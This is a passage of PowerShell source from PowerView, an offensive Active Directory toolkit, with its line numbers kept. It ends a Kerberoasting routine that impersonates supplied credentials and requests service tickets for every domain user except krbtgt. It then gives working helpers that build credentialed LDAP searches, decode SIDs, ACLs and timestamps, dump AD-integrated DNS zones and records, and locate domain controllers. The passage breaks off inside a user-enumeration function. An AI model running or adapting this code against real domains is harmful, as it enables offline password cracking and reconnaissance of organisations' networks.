  2995.         if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
  2996.  
  2997.         if ($PSBoundParameters['Credential']) {
  2998.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  2999.         }
  3000.     }
  3001.  
  3002.     PROCESS {
  3003.         if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
  3004.         Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
  3005.     }
  3006.  
  3007.     END {
  3008.         if ($LogonToken) {
  3009.             Invoke-RevertToSelf -TokenHandle $LogonToken
  3010.         }
  3011.     }
  3012. }
  3013.  
  3014. function Convert-LDAPProperty {
  3015.  
  3016.  
  3017.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3018.     [OutputType('System.Management.Automation.PSCustomObject')]
  3019.     [CmdletBinding()]
  3020.     Param(
  3021.         [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
  3022.         [ValidateNotNullOrEmpty()]
  3023.         $Properties
  3024.     )
  3025.  
  3026.     $ObjectProperties = @{}
  3027.  
  3028.     $Properties.PropertyNames | ForEach-Object {
  3029.         if ($_ -ne 'adspath') {
  3030.             if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
  3031.                 # convert all listed sids (i.e. if multiple are listed in sidHistory)
  3032.                 $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
  3033.             }
  3034.             elseif ($_ -eq 'grouptype') {
  3035.                 $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
  3036.             }
  3037.             elseif ($_ -eq 'samaccounttype') {
  3038.                 $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
  3039.             }
  3040.             elseif ($_ -eq 'objectguid') {
  3041.                 # convert the GUID to a string
  3042.                 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
  3043.             }
  3044.             elseif ($_ -eq 'useraccountcontrol') {
  3045.                 $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
  3046.             }
  3047.             elseif ($_ -eq 'ntsecuritydescriptor') {
  3048.                 # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
  3049.                 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
  3050.                 if ($Descriptor.Owner) {
  3051.                     $ObjectProperties['Owner'] = $Descriptor.Owner
  3052.                 }
  3053.                 if ($Descriptor.Group) {
  3054.                     $ObjectProperties['Group'] = $Descriptor.Group
  3055.                 }
  3056.                 if ($Descriptor.DiscretionaryAcl) {
  3057.                     $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
  3058.                 }
  3059.                 if ($Descriptor.SystemAcl) {
  3060.                     $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
  3061.                 }
  3062.             }
  3063.             elseif ($_ -eq 'accountexpires') {
  3064.                 if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
  3065.                     $ObjectProperties[$_] = "NEVER"
  3066.                 }
  3067.                 else {
  3068.                     $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
  3069.                 }
  3070.             }
  3071.             elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
  3072.                 # convert timestamps
  3073.                 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
  3074.                     # if we have a System.__ComObject
  3075.                     $Temp = $Properties[$_][0]
  3076.                     [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  3077.                     [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  3078.                     $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
  3079.                 }
  3080.                 else {
  3081.                     # otherwise just a string
  3082.                     $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
  3083.                 }
  3084.             }
  3085.             elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
  3086.                 # try to convert misc com objects
  3087.                 $Prop = $Properties[$_]
  3088.                 try {
  3089.                     $Temp = $Prop[$_][0]
  3090.                     [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  3091.                     [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
  3092.                     $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
  3093.                 }
  3094.                 catch {
  3095.                     Write-Verbose "[Convert-LDAPProperty] error: $_"
  3096.                     $ObjectProperties[$_] = $Prop[$_]
  3097.                 }
  3098.             }
  3099.             elseif ($Properties[$_].count -eq 1) {
  3100.                 $ObjectProperties[$_] = $Properties[$_][0]
  3101.             }
  3102.             else {
  3103.                 $ObjectProperties[$_] = $Properties[$_]
  3104.             }
  3105.         }
  3106.     }
  3107.     try {
  3108.         New-Object -TypeName PSObject -Property $ObjectProperties
  3109.     }
  3110.     catch {
  3111.         Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
  3112.     }
  3113. }
  3114.  
  3115. function Get-DomainSearcher {
  3116.  
  3117.  
  3118.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3119.     [OutputType('System.DirectoryServices.DirectorySearcher')]
  3120.     [CmdletBinding()]
  3121.     Param(
  3122.         [Parameter(ValueFromPipeline = $True)]
  3123.         [ValidateNotNullOrEmpty()]
  3124.         [String]
  3125.         $Domain,
  3126.  
  3127.         [ValidateNotNullOrEmpty()]
  3128.         [Alias('Filter')]
  3129.         [String]
  3130.         $LDAPFilter,
  3131.  
  3132.         [ValidateNotNullOrEmpty()]
  3133.         [String[]]
  3134.         $Properties,
  3135.  
  3136.         [ValidateNotNullOrEmpty()]
  3137.         [Alias('ADSPath')]
  3138.         [String]
  3139.         $SearchBase,
  3140.  
  3141.         [ValidateNotNullOrEmpty()]
  3142.         [String]
  3143.         $SearchBasePrefix,
  3144.  
  3145.         [ValidateNotNullOrEmpty()]
  3146.         [Alias('DomainController')]
  3147.         [String]
  3148.         $Server,
  3149.  
  3150.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  3151.         [String]
  3152.         $SearchScope = 'Subtree',
  3153.  
  3154.         [ValidateRange(1, 10000)]
  3155.         [Int]
  3156.         $ResultPageSize = 200,
  3157.  
  3158.         [ValidateRange(1, 10000)]
  3159.         [Int]
  3160.         $ServerTimeLimit = 120,
  3161.  
  3162.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  3163.         [String]
  3164.         $SecurityMasks,
  3165.  
  3166.         [Switch]
  3167.         $Tombstone,
  3168.  
  3169.         [Management.Automation.PSCredential]
  3170.         [Management.Automation.CredentialAttribute()]
  3171.         $Credential = [Management.Automation.PSCredential]::Empty
  3172.     )
  3173.  
  3174.     PROCESS {
  3175.         if ($PSBoundParameters['Domain']) {
  3176.             $TargetDomain = $Domain
  3177.         }
  3178.         else {
  3179.             # if not -Domain is specified, retrieve the current domain name
  3180.             if ($PSBoundParameters['Credential']) {
  3181.                 $DomainObject = Get-Domain -Credential $Credential
  3182.             }
  3183.             else {
  3184.                 $DomainObject = Get-Domain
  3185.             }
  3186.             $TargetDomain = $DomainObject.Name
  3187.         }
  3188.  
  3189.         if (-not $PSBoundParameters['Server']) {
  3190.             # if there's not a specified server to bind to, try to pull the current domain PDC
  3191.             try {
  3192.                 if ($DomainObject) {
  3193.                     $BindServer = $DomainObject.PdcRoleOwner.Name
  3194.                 }
  3195.                 elseif ($PSBoundParameters['Credential']) {
  3196.                     $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
  3197.                 }
  3198.                 else {
  3199.                     $BindServer = ((Get-Domain).PdcRoleOwner).Name
  3200.                 }
  3201.             }
  3202.             catch {
  3203.                 throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
  3204.             }
  3205.         }
  3206.         else {
  3207.             $BindServer = $Server
  3208.         }
  3209.  
  3210.         $SearchString = 'LDAP://'
  3211.  
  3212.         if ($BindServer -and ($BindServer.Trim() -ne '')) {
  3213.             $SearchString += $BindServer
  3214.             if ($TargetDomain) {
  3215.                 $SearchString += '/'
  3216.             }
  3217.         }
  3218.  
  3219.         if ($PSBoundParameters['SearchBasePrefix']) {
  3220.             $SearchString += $SearchBasePrefix + ','
  3221.         }
  3222.  
  3223.         if ($PSBoundParameters['SearchBase']) {
  3224.             if ($SearchBase -Match '^GC://') {
  3225.                 # if we're searching the global catalog, get the path in the right format
  3226.                 $DN = $SearchBase.ToUpper().Trim('/')
  3227.                 $SearchString = ''
  3228.             }
  3229.             else {
  3230.                 if ($SearchBase -match '^LDAP://') {
  3231.                     if ($SearchBase -match "LDAP://.+/.+") {
  3232.                         $SearchString = ''
  3233.                         $DN = $SearchBase
  3234.                     }
  3235.                     else {
  3236.                         $DN = $SearchBase.SubString(7)
  3237.                     }
  3238.                 }
  3239.                 else {
  3240.                     $DN = $SearchBase
  3241.                 }
  3242.             }
  3243.         }
  3244.         else {
  3245.             # transform the target domain name into a distinguishedName if an ADS search base is not specified
  3246.             if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
  3247.                 $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
  3248.             }
  3249.         }
  3250.  
  3251.         $SearchString += $DN
  3252.         Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
  3253.  
  3254.         if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
  3255.             Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
  3256.             # bind to the inital search object using alternate credentials
  3257.             $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
  3258.             $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
  3259.         }
  3260.         else {
  3261.             # bind to the inital object using the current credentials
  3262.             $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
  3263.         }
  3264.  
  3265.         $Searcher.PageSize = $ResultPageSize
  3266.         $Searcher.SearchScope = $SearchScope
  3267.         $Searcher.CacheResults = $False
  3268.         $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
  3269.  
  3270.         if ($PSBoundParameters['ServerTimeLimit']) {
  3271.             $Searcher.ServerTimeLimit = $ServerTimeLimit
  3272.         }
  3273.  
  3274.         if ($PSBoundParameters['Tombstone']) {
  3275.             $Searcher.Tombstone = $True
  3276.         }
  3277.  
  3278.         if ($PSBoundParameters['LDAPFilter']) {
  3279.             $Searcher.filter = $LDAPFilter
  3280.         }
  3281.  
  3282.         if ($PSBoundParameters['SecurityMasks']) {
  3283.             $Searcher.SecurityMasks = Switch ($SecurityMasks) {
  3284.                 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
  3285.                 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
  3286.                 'None' { [System.DirectoryServices.SecurityMasks]::None }
  3287.                 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
  3288.                 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
  3289.             }
  3290.         }
  3291.  
  3292.         if ($PSBoundParameters['Properties']) {
  3293.             # handle an array of properties to load w/ the possibility of comma-separated strings
  3294.             $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
  3295.             $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
  3296.         }
  3297.  
  3298.         $Searcher
  3299.     }
  3300. }
  3301.  
  3302. function Convert-DNSRecord {
  3303.  
  3304.  
  3305.     [OutputType('System.Management.Automation.PSCustomObject')]
  3306.     [CmdletBinding()]
  3307.     Param(
  3308.         [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
  3309.         [Byte[]]
  3310.         $DNSRecord
  3311.     )
  3312.  
  3313.     BEGIN {
  3314.         function Get-Name {
  3315.             [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
  3316.             [CmdletBinding()]
  3317.             Param(
  3318.                 [Byte[]]
  3319.                 $Raw
  3320.             )
  3321.  
  3322.             [Int]$Length = $Raw[0]
  3323.             [Int]$Segments = $Raw[1]
  3324.             [Int]$Index =  2
  3325.             [String]$Name  = ''
  3326.  
  3327.             while ($Segments-- -gt 0)
  3328.             {
  3329.                 [Int]$SegmentLength = $Raw[$Index++]
  3330.                 while ($SegmentLength-- -gt 0) {
  3331.                     $Name += [Char]$Raw[$Index++]
  3332.                 }
  3333.                 $Name += "."
  3334.             }
  3335.             $Name
  3336.         }
  3337.     }
  3338.  
  3339.     PROCESS {
  3340.         # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
  3341.         $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
  3342.         $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
  3343.  
  3344.         $TTLRaw = $DNSRecord[12..15]
  3345.  
  3346.         # reverse for big endian
  3347.         $Null = [array]::Reverse($TTLRaw)
  3348.         $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
  3349.  
  3350.         $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
  3351.         if ($Age -ne 0) {
  3352.             $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
  3353.         }
  3354.         else {
  3355.             $TimeStamp = '[static]'
  3356.         }
  3357.  
  3358.         $DNSRecordObject = New-Object PSObject
  3359.  
  3360.         if ($RDataType -eq 1) {
  3361.             $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
  3362.             $Data = $IP
  3363.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
  3364.         }
  3365.  
  3366.         elseif ($RDataType -eq 2) {
  3367.             $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
  3368.             $Data = $NSName
  3369.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
  3370.         }
  3371.  
  3372.         elseif ($RDataType -eq 5) {
  3373.             $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
  3374.             $Data = $Alias
  3375.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
  3376.         }
  3377.  
  3378.         elseif ($RDataType -eq 6) {
  3379.             # TODO: how to implement properly? nested object?
  3380.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3381.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
  3382.         }
  3383.  
  3384.         elseif ($RDataType -eq 12) {
  3385.             $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
  3386.             $Data = $Ptr
  3387.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
  3388.         }
  3389.  
  3390.         elseif ($RDataType -eq 13) {
  3391.             # TODO: how to implement properly? nested object?
  3392.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3393.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
  3394.         }
  3395.  
  3396.         elseif ($RDataType -eq 15) {
  3397.             # TODO: how to implement properly? nested object?
  3398.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3399.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
  3400.         }
  3401.  
  3402.         elseif ($RDataType -eq 16) {
  3403.             [string]$TXT  = ''
  3404.             [int]$SegmentLength = $DNSRecord[24]
  3405.             $Index = 25
  3406.  
  3407.             while ($SegmentLength-- -gt 0) {
  3408.                 $TXT += [char]$DNSRecord[$index++]
  3409.             }
  3410.  
  3411.             $Data = $TXT
  3412.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
  3413.         }
  3414.  
  3415.         elseif ($RDataType -eq 28) {
  3416.             # TODO: how to implement properly? nested object?
  3417.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3418.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
  3419.         }
  3420.  
  3421.         elseif ($RDataType -eq 33) {
  3422.             # TODO: how to implement properly? nested object?
  3423.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3424.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
  3425.         }
  3426.  
  3427.         else {
  3428.             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
  3429.             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
  3430.         }
  3431.  
  3432.         $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
  3433.         $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
  3434.         $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
  3435.         $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
  3436.         $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
  3437.         $DNSRecordObject
  3438.     }
  3439. }
  3440.  
  3441. function Get-DomainDNSZone {
  3442.  
  3443.  
  3444.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3445.     [OutputType('PowerView.DNSZone')]
  3446.     [CmdletBinding()]
  3447.     Param(
  3448.         [Parameter(Position = 0, ValueFromPipeline = $True)]
  3449.         [ValidateNotNullOrEmpty()]
  3450.         [String]
  3451.         $Domain,
  3452.  
  3453.         [ValidateNotNullOrEmpty()]
  3454.         [Alias('DomainController')]
  3455.         [String]
  3456.         $Server,
  3457.  
  3458.         [ValidateNotNullOrEmpty()]
  3459.         [String[]]
  3460.         $Properties,
  3461.  
  3462.         [ValidateRange(1, 10000)]
  3463.         [Int]
  3464.         $ResultPageSize = 200,
  3465.  
  3466.         [ValidateRange(1, 10000)]
  3467.         [Int]
  3468.         $ServerTimeLimit,
  3469.  
  3470.         [Alias('ReturnOne')]
  3471.         [Switch]
  3472.         $FindOne,
  3473.  
  3474.         [Management.Automation.PSCredential]
  3475.         [Management.Automation.CredentialAttribute()]
  3476.         $Credential = [Management.Automation.PSCredential]::Empty
  3477.     )
  3478.  
  3479.     PROCESS {
  3480.         $SearcherArguments = @{
  3481.             'LDAPFilter' = '(objectClass=dnsZone)'
  3482.         }
  3483.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  3484.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  3485.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  3486.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  3487.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  3488.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  3489.         $DNSSearcher1 = Get-DomainSearcher @SearcherArguments
  3490.  
  3491.         if ($DNSSearcher1) {
  3492.             if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne()  }
  3493.             else { $Results = $DNSSearcher1.FindAll() }
  3494.             $Results | Where-Object {$_} | ForEach-Object {
  3495.                 $Out = Convert-LDAPProperty -Properties $_.Properties
  3496.                 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
  3497.                 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
  3498.                 $Out
  3499.             }
  3500.  
  3501.             if ($Results) {
  3502.                 try { $Results.dispose() }
  3503.                 catch {
  3504.                     Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
  3505.                 }
  3506.             }
  3507.             $DNSSearcher1.dispose()
  3508.         }
  3509.  
  3510.         $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
  3511.         $DNSSearcher2 = Get-DomainSearcher @SearcherArguments
  3512.  
  3513.         if ($DNSSearcher2) {
  3514.             try {
  3515.                 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
  3516.                 else { $Results = $DNSSearcher2.FindAll() }
  3517.                 $Results | Where-Object {$_} | ForEach-Object {
  3518.                     $Out = Convert-LDAPProperty -Properties $_.Properties
  3519.                     $Out | Add-Member NoteProperty 'ZoneName' $Out.name
  3520.                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
  3521.                     $Out
  3522.                 }
  3523.                 if ($Results) {
  3524.                     try { $Results.dispose() }
  3525.                     catch {
  3526.                         Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
  3527.                     }
  3528.                 }
  3529.             }
  3530.             catch {
  3531.                 Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
  3532.             }
  3533.             $DNSSearcher2.dispose()
  3534.         }
  3535.     }
  3536. }
  3537.  
  3538. function Get-DomainDNSRecord {
  3539.  
  3540.  
  3541.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3542.     [OutputType('PowerView.DNSRecord')]
  3543.     [CmdletBinding()]
  3544.     Param(
  3545.         [Parameter(Position = 0,  Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  3546.         [ValidateNotNullOrEmpty()]
  3547.         [String]
  3548.         $ZoneName,
  3549.  
  3550.         [ValidateNotNullOrEmpty()]
  3551.         [String]
  3552.         $Domain,
  3553.  
  3554.         [ValidateNotNullOrEmpty()]
  3555.         [Alias('DomainController')]
  3556.         [String]
  3557.         $Server,
  3558.  
  3559.         [ValidateNotNullOrEmpty()]
  3560.         [String[]]
  3561.         $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
  3562.  
  3563.         [ValidateRange(1, 10000)]
  3564.         [Int]
  3565.         $ResultPageSize = 200,
  3566.  
  3567.         [ValidateRange(1, 10000)]
  3568.         [Int]
  3569.         $ServerTimeLimit,
  3570.  
  3571.         [Alias('ReturnOne')]
  3572.         [Switch]
  3573.         $FindOne,
  3574.  
  3575.         [Management.Automation.PSCredential]
  3576.         [Management.Automation.CredentialAttribute()]
  3577.         $Credential = [Management.Automation.PSCredential]::Empty
  3578.     )
  3579.  
  3580.     PROCESS {
  3581.         $SearcherArguments = @{
  3582.             'LDAPFilter' = '(objectClass=dnsNode)'
  3583.             'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
  3584.         }
  3585.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  3586.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  3587.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  3588.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  3589.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  3590.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  3591.         $DNSSearcher = Get-DomainSearcher @SearcherArguments
  3592.  
  3593.         if ($DNSSearcher) {
  3594.             if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
  3595.             else { $Results = $DNSSearcher.FindAll() }
  3596.             $Results | Where-Object {$_} | ForEach-Object {
  3597.                 try {
  3598.                     $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
  3599.                     $Out | Add-Member NoteProperty 'ZoneName' $ZoneName
  3600.  
  3601.                     # convert the record and extract the properties
  3602.                     if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
  3603.                         # TODO: handle multiple nested records properly?
  3604.                         $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
  3605.                     }
  3606.                     else {
  3607.                         $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
  3608.                     }
  3609.  
  3610.                     if ($Record) {
  3611.                         $Record.PSObject.Properties | ForEach-Object {
  3612.                             $Out | Add-Member NoteProperty $_.Name $_.Value
  3613.                         }
  3614.                     }
  3615.  
  3616.                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
  3617.                     $Out
  3618.                 }
  3619.                 catch {
  3620.                     Write-Warning "[Get-DomainDNSRecord] Error: $_"
  3621.                     $Out
  3622.                 }
  3623.             }
  3624.  
  3625.             if ($Results) {
  3626.                 try { $Results.dispose() }
  3627.                 catch {
  3628.                     Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
  3629.                 }
  3630.             }
  3631.             $DNSSearcher.dispose()
  3632.         }
  3633.     }
  3634. }
  3635.  
  3636. function Get-Domain {
  3637.  
  3638.  
  3639.     [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
  3640.     [CmdletBinding()]
  3641.     Param(
  3642.         [Parameter(Position = 0, ValueFromPipeline = $True)]
  3643.         [ValidateNotNullOrEmpty()]
  3644.         [String]
  3645.         $Domain,
  3646.  
  3647.         [Management.Automation.PSCredential]
  3648.         [Management.Automation.CredentialAttribute()]
  3649.         $Credential = [Management.Automation.PSCredential]::Empty
  3650.     )
  3651.  
  3652.     PROCESS {
  3653.         if ($PSBoundParameters['Credential']) {
  3654.  
  3655.             Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
  3656.  
  3657.             if ($PSBoundParameters['Domain']) {
  3658.                 $TargetDomain = $Domain
  3659.             }
  3660.             else {
  3661.                 # if no domain is supplied, extract the logon domain from the PSCredential passed
  3662.                 $TargetDomain = $Credential.GetNetworkCredential().Domain
  3663.                 Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
  3664.             }
  3665.  
  3666.             $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
  3667.  
  3668.             try {
  3669.                 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  3670.             }
  3671.             catch {
  3672.                 Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
  3673.             }
  3674.         }
  3675.         elseif ($PSBoundParameters['Domain']) {
  3676.             $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
  3677.             try {
  3678.                 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  3679.             }
  3680.             catch {
  3681.                 Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
  3682.             }
  3683.         }
  3684.         else {
  3685.             try {
  3686.                 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
  3687.             }
  3688.             catch {
  3689.                 Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
  3690.             }
  3691.         }
  3692.     }
  3693. }
  3694.  
  3695. function Get-DomainController {
  3696.  
  3697.  
  3698.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3699.     [OutputType('PowerView.Computer')]
  3700.     [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
  3701.     [CmdletBinding()]
  3702.     Param(
  3703.         [Parameter(Position = 0, ValueFromPipeline = $True)]
  3704.         [String]
  3705.         $Domain,
  3706.  
  3707.         [ValidateNotNullOrEmpty()]
  3708.         [Alias('DomainController')]
  3709.         [String]
  3710.         $Server,
  3711.  
  3712.         [Switch]
  3713.         $LDAP,
  3714.  
  3715.         [Management.Automation.PSCredential]
  3716.         [Management.Automation.CredentialAttribute()]
  3717.         $Credential = [Management.Automation.PSCredential]::Empty
  3718.     )
  3719.  
  3720.     PROCESS {
  3721.         $Arguments = @{}
  3722.         if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
  3723.         if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
  3724.  
  3725.         if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
  3726.             if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
  3727.  
  3728.             # UAC specification for domain controllers
  3729.             $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
  3730.  
  3731.             Get-DomainComputer @Arguments
  3732.         }
  3733.         else {
  3734.             $FoundDomain = Get-Domain @Arguments
  3735.             if ($FoundDomain) {
  3736.                 $FoundDomain.DomainControllers
  3737.             }
  3738.         }
  3739.     }
  3740. }
  3741.  
  3742. function Get-DomainUser {
  3743.  
  3744.  
  3745.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  3746.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  3747.     [OutputType('PowerView.User')]
  3748.     [OutputType('PowerView.User.Raw')]
  3749.     [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
  3750.     Param(
  3751.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  3752.         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
